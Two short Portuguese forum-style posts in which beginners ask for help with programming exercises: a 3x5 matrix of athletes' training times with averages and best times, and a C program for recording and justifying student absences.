Estou a desenvolver um programa que regista 5 tempos de 3 atletas,Os valores dos tempos, em segundos, são registados sob a forma de uma matriz T 3x5, onde cada linha diz respeito a um atleta e cada coluna a uma sessão de treino. E depois calcula a média de tempo que cada um faz. No fim determina o melhor tempo que cada um fez nesses 5 tempos
-
Preciso de ajuda para fazer um programa/algoritmo que faça a marcação de faltas dos estudantes na sala de aula, consultas de faltas e apresentação de justificativo usando C, n consigo de jeito nenhum. Quem puder ajudar eu agradeceria, sou novato nessa área, meu primeiro ano e tem sido difícil mas com o esforço eu chego lá